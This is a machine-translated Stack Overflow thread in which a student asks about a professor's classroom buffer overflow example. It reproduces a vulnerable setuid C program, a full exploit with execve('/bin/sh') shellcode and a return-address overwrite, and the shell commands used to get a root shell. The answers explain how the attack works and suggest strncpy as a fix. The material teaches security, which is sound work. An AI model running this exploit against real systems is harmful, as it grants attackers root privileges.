2015-02-02 2 views
3

Мой профессор загрузил пример переполнения буфера для нас, но на самом деле не очень объяснил это. В принципе, он использует переполнение буфера для создания оболочки с привилегиями root. Я надеялся, что кто-то сможет объяснить мне, что именно происходит в его примере кода. Он использует два файла C, первый - уязвимая программа.Реализация переполнения буфера

/* This program has a buffer overflow vulnerability. */ 
/* Our task is to exploit this vulnerability */ 
//stack.c 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
int bof(char *str) 
{ 
    char buffer[12]; 
    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str); 
    return 1; 
} 
int main(int argc, char **argv) 
{ 
    char str[517]; 
    FILE *badfile; 
    badfile = fopen("badfile", "r"); 
    fread(str, sizeof(char), 517, badfile); 
    bof(str); 
    printf("Returned Properly\n"); 
    return 1; 
} 

Второй код - это эксплойт.

/* A program that creates a file containing code for launching shell*/ 
//exploit.c 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
#define DEFAULT_OFFSET 350 

char shellcode[]= 
"\x31\xc0" /* xorl %eax,%eax */ 
"\x50" /* pushl %eax */ 
"\x68""//sh" /* pushl $0x68732f2f */ 
"\x68""/bin" /* pushl $0x6e69622f */ 
"\x89\xe3" /* movl %esp,%ebx */ 
"\x50" /* pushl %eax */ 
"\x53" /* pushl %ebx */ 
"\x89\xe1" /* movl %esp,%ecx */ 
"\x99" /* cdql */ 
"\xb0\x0b" /* movb $0x0b,%al */ 
"\xcd\x80" /* int $0x80 */ 
; 

unsigned int get_sp(void) 
{ 
    __asm__("movl %esp,%eax"); 
} 

void main(int argc, char **argv) 
{ 
    char buffer[517]; 
    FILE *badfile; 
    char *ptr; 
    long *a_ptr; 
    int ret; 

    int offset = DEFAULT_OFFSET; 
    int codeSize = sizeof(shellcode); 
    int buffSize = sizeof(buffer); 

    if(argc > 1) offset = atoi(argv[1]); 

    ptr = buffer; 
    a_ptr = (long *) ptr; 

    memset(buffer, 0x90, buffSize); 

    ret = get_sp() + offset; 
    printf("Return Address: 0x%x\n", get_sp()); 
    printf("Address: 0x%x\n", ret); 

    ptr = buffer; 
    a_ptr = (long *) ptr; 

    int i; 
    for(i = 0; i < 300; i += 4) 
    { 
     *(a_ptr++) = ret; 
    } 

    for(i = 486; i < codeSize + 486; ++i) 
    { 
     buffer[i] = shellcode[i-486]; 
    } 

    buffer[buffSize-1] = '\0'; 

    badfile = fopen("./badfile", "w"); 
    fwrite(buffer, 517, 1, badfile); 
    fclose(badfile); 
} 

Затем он использует эти команды из командной строки

$ su root 
$ Password (enter root password) 
# gcc -o stack -fno-stack-protector stack.c 
# chmod 4755 stack 
# exit 
$ gcc -o exploit exploit.c 
$./exploit 
$./stack 

Я проверил это на нашем Ubuntu VM мы создали для класса, и он получает доступ корня, но я просто не понимаю, как , Он также попросил нас подумать о том, как мы можем улучшить код, и любые предложения будут приветствоваться!

+8

спросите своего профессора - его задача объяснить вам это очень хорошо. – pm100

+2

http://phrack.org/issues/49/14.html – ouah

+0

Я не уверен, как именно он предназначен для получения доступа root, но я скомпилировал его, и обе программы просто дают segfault. – MightyPork

ответ

4

Я не эксплуатируют эксперт уверен, но это, как я понимаю (надеюсь, что помогает):

Exploited программа

Следующие две строки имеют проблемы, потому что вы пытаясь скопировать буфер, содержащий 517 байт в буфер с емкостью 12 байт. strcpy не достаточно умен, чтобы прекратить писать до buffer после 12 байтов, поэтому он будет записывать в какое-то место в памяти, переопределяя все, что было там.

char buffer[12]; 
/* The following statement has a buffer overflow problem */ 
strcpy(buffer, str); 

Поскольку ваша программа работает с привилегиями root, все, что было записано в памяти, может выполняться с одинаковыми привилегиями.

Exploit программу

Exploit содержит код сборки, который способен порождая новый экземпляр оболочки. Этот код будет записан в badfile, в месте после первых 12 байтов. Это потому, что первые 12 байтов вписываются в буфер в атакующую программу. Этот файл позже будет прочитан в этот буфер, а затем скопирован в буфер (to small) str, что означает, что ничего, кроме первых 12 байт, будет помещен где-нибудь в память (привилегированной) привилегированной программы.

char shellcode[]= 
"\x31\xc0" /* xorl %eax,%eax */ 
"\x50" /* pushl %eax */ 
"\x68""//sh" /* pushl $0x68732f2f */ 
"\x68""/bin" /* pushl $0x6e69622f */ 
"\x89\xe3" /* movl %esp,%ebx */ 
"\x50" /* pushl %eax */ 
"\x53" /* pushl %ebx */ 
"\x89\xe1" /* movl %esp,%ecx */ 
"\x99" /* cdql */ 
"\xb0\x0b" /* movb $0x0b,%al */ 
"\xcd\x80" /* int $0x80 */ 
; 

Наконец, что эксплуатирует делает, он толкает впрыскиваются код в стеке, и переписывает обратный адрес таким образом, внедренный код будет выполнен. Как было предложено @artless шума в комментарии, это делается здесь:

for(i = 0; i < 300; i += 4) 
{ 
    *(a_ptr++) = ret; 
} 

Для объяснения о том, как стек выглядит, см this article и полезные схемы там.

Конечно, все возможно, потому что атакующая программа запускается с привилегиями root. Это потому, что вы запустите эту команду как корень:

# chmod 4755 stack 

Первый номер, 4, означает, что этот файл (stack двоичных) будет вызываться с привилегиями пользователя, которому принадлежит этот файл, а не пользователю, который вызывает это (это поведение по умолчанию). Это называется setuuid.Без этого злоумышленник сможет получить привилегии пользователя, который запустил stack, у которого были бы более низкие привилегии, чем у root.

В качестве побочного элемента именно поэтому очень важно не запускать каких-либо деканов в качестве корневых (то есть HTTP-серверов). Уязвимость переполнения буфера всегда может быть обнаружена даже в лучших защищенных кодовых базах. Запуск программы в качестве обычного пользователя заставляет злоумышленнику нанести серьезный вред.

+0

Вам не хватает одного важного момента. Смотрите: 'for (i = 0; i <300; i + = 4)'. Код должен переписать адрес возврата в фрейме стека. Это код, который это делает. Он помещает обратный адрес в код оболочки.В противном случае, я считаю, что у вашего ответа есть все для этого ** stackoverflow **. ОП должен знать, что такое [стоп-кадр] (http://eli.thegreenplace.net/2011/02/04/where-the-top-of-the-stack-is-on-x86/). Все локальные переменные находятся в стеке ** вместе с обратным адресом **; это то, что заставляет эксплойт работать. Данные становятся кодом. –

+0

Некоторые архитектуры имеют [без выполнения] (http://en.wikipedia.org/wiki/NX_bit#Linux), но затем вы можете использовать [ROP] (http://en.wikipedia.org/wiki/Return-oriented_programming); лучше не иметь ошибку. –

+0

@artlessnoise спасибо за этот совет - как я уже сказал, я не эксперт в этом, просто надеюсь, что OP получит помощь, которую он ищет здесь, потому что было бы обидно, если бы вопрос о переполнении стека не был получить ответ на переполнение стека;) Кроме того, согласился, что лучше не иметь ошибки, но не программное обеспечение идеально (ну, очевидно, помимо того, что я пишу;)), а запуск кода с правами root вызывает проблемы. – kamituel

-3

@kamituel обеспечил хорошее объяснение того, каким образом использовать произведение, и намеки на то, как сделать код лучше

strcpy не достаточно умен, чтобы остановить запись в buffer после 12 байт, ...

Способ, которым это исправлено, является использование strncpy. Эта функция ведет себя так же, как strcpy за исключением ограничивает количество байтов, которые можно скопировать. Таким образом, вы можете предотвратить атаку переполнения буфера, ограничив копию до 12 байтов, доступных в буфере.

Смежные вопросы